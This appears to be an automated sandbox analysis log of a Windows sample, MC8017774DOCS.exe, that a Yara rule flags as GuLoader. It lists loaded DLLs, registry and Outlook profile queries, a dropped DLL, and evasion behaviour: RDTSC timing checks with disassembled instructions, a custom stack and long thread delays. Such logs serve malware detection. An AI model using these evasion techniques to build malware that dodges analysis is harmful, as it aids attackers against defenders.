Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: MC8017774DOCS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: MC8017774DOCS.exe, 00000004.00000001.2521521176.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: _.pdb source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: MC8017774DOCS.exe, 00000004.00000001.2521521176.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2522664351.00000000037E7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2522145206.0000000000848000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MC8017774DOCS.exe PID: 7084, type: MEMORYSTR

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Code function: 0_2_6E9B1B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6E9B1B63

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Code function: 0_2_6E9B2FD0 push eax; ret

0_2_6E9B2FFE

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

File created: C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	API/Special instruction interceptor: Address: 38283BF
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	API/Special instruction interceptor: Address: 21F83BF

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	RDTSC instruction interceptor: First address: 37BE195 second address: 37BE195 instructions: 0x00000000 rdtsc 0x00000002 test cl, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F56CC73E051h 0x00000008 test ch, dh 0x0000000a test bx, dx 0x0000000d inc ebp 0x0000000e cmp ecx, eax 0x00000010 inc ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	RDTSC instruction interceptor: First address: 218E195 second address: 218E195 instructions: 0x00000000 rdtsc 0x00000002 test cl, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F56CD2809B1h 0x00000008 test ch, dh 0x0000000a test bx, dx 0x0000000d inc ebp 0x0000000e cmp ecx, eax 0x00000010 inc ebx 0x00000011 rdtsc

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Memory allocated: 33AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Memory allocated: 33D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Memory allocated: 33B50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598952	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598389	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596358	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595105	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594946	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594842	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594406	Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Window / User API: threadDelayed 7749			Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Window / User API: threadDelayed 2093			Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -36893488147419080s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 1096	Thread sleep count: 7749 > 30	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 1096	Thread sleep count: 2093 > 30	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -598952s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -598719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -598609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -598500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -598389s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -598281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -598172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -598063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -597828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -597719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -597266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -596938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -596358s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -595105s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -594946s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -594842s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -594734s >= -30000s	Jump to behavior
